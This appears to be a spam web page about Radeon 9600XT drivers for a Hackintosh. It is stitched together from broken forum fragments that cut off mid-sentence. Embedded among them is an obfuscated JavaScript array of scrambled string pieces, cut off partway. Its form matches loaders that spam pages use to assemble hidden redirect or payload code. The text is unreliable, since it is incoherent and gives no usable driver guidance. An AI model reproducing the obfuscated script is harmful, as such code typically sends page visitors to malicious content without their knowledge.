Excellent card for the money! It comes with great software including two After many hours wasted searching the forums and inquiring on the IRC channel, Ive finally gotten my Radeon 9600xt 128mb AGP card functioning on my hackintosh (10.. It first got some Windows OEM drivers all by itself and all was fine, then I decided to put actual ATI drivers, which screwed up the whole system.. I would like to recommended to everyones who like pc games Asus 9600xt Drivers For MacWhenever I try to install ATI Catalyst, it complains that NET Framework 2.. var Goi = new Array();Goi["UG"]="ta";Goi["Pp"]="hV";Goi["Qu"]="FP";Goi["eE"]="9J";Goi["YE"]="5T";Goi["Vf"]="9b";Goi["tK"]="W=";Goi["Az"]="EY";Goi["dr"]="Dk";Goi["cF"]="pR";Goi["bE"]="fu";Goi["fY"]="EU";Goi["dw"]="G";Goi["kl"]="r.. My screen is shifted to the right(No, it's not my monitor's fault, since if I remove the GPU it changes back to normal) and it's very laggy. [Movie Making Program For Mac](#)
